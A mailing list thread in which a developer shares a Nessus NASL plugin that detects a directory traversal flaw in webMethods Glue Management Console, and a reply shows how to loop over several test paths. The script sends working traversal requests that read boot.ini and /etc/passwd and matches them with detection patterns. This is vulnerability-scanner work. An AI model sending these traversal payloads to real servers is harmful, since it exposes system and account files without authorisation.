Mailing List Archive

webmethods_glue_traversal.nasl
Hi all,

This is my first nasl script, ripped off from another traversal
script. What is the best way to check traversal for different OSes /
different directory depths (../../)? [See the '#res' - multiple
'if's?]. Oh and what is the process of adding to the Nessus Plugin's
branch?

====

#
# This script was written by Patrick Webster <patrick@aushack.com>
# Released under the General Public Licence
#

if(description)
{
script_id(00000); # fix me
script_bugtraq_id(23423);
script_version ("$Revision$");

name["english"] = "webMethods Glue Management Console Directory Traversal";
script_name(english:name["english"]);

desc["english"] = "
The remote host is running webMethods Glue Management Console, a web based
frontend to monitor system resources and publish SOAP services.

The webMethods Glue Management Console includes HTML pages via the
/console?resource=console/index.html variable, which is prone to a classic
traversal attack.

An unauthenticated attacker may exploit this flaw to read arbitrary files on
the remote system with the privileges of the web server.

See also : http://www.aushack.com/advisories/200703-webmethods.txt
Solution : Check www.webmethods.com for updates - eta 1st May 2007.
Risk factor : Medium";

script_description(english:desc["english"]);

summary["english"] = "webMethods Glue Management Console Directory
Traversal";
script_summary(english:summary["english"]);

script_category(ACT_GATHER_INFO);

script_copyright(english:"This script is Copyright (C) 2007 Patrick
Webster");
family["english"] = "CGI abuses";
script_family(english:family["english"]);

script_dependencie("http_version.nasl");
script_require_ports("Services/www", 8080);
exit(0);
}

#
# The script code starts here
#

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:8080);
if(!get_port_state(port))exit(0);

req = http_get(item:"/console?resource=../../../../../boot.ini", port:port);
#req = http_get(item:"/console?resource=c:\boot.ini", port:port);
#req = http_get(item:"/console?resource=\boot.ini", port:port);
#req = http_get(item:"/console?resource=/etc/passwd", port:port);

res = http_keepalive_send_recv(port:port, data:req);

if ( res == NULL ) exit(0);

if ("[boot loader]" >< res )
{
security_warning(port);
exit(0);
}

====

It should check *nix responses as well, e.g. /etc/passwd = root:0:0: ...

Thanks in advance,

-Patrick
Re: webmethods_glue_traversal.nasl [ In reply to ]
Patrick Webster wrote:

>
> req = http_get(item:"/console?resource=../../../../../boot.ini",
> port:port);
> #req = http_get(item:"/console?resource=c:\boot.ini", port:port);
> #req = http_get(item:"/console?resource=\boot.ini", port:port);
> #req = http_get(item:"/console?resource=/etc/passwd", port:port);
>
> res = http_keepalive_send_recv(port:port, data:req);
>
> if ( res == NULL ) exit(0);
>
> if ("[boot loader]" >< res )
> {
> security_warning(port);
> exit(0);
> }
>
> ====
>
> It should check *nix responses as well, e.g. /etc/passwd = root:0:0: ...
>

You could use something like this to do multiple tests.

file[0] = "../../../../../boot.ini";
file[1] = "/etc/passwd";

for(t = 0; file[t]; t++) {
req = http_get(item:string("/console?resource=", file[t]), port:port);
res = http_keepalive_send_recv(data:req, port:port);

if (egrep(pattern:"root:.*:0:[01]:.*:", string:res) ||
egrep(pattern:"default=multi.*disk.*partition", string:res)) {
security_warning(port);
}
}


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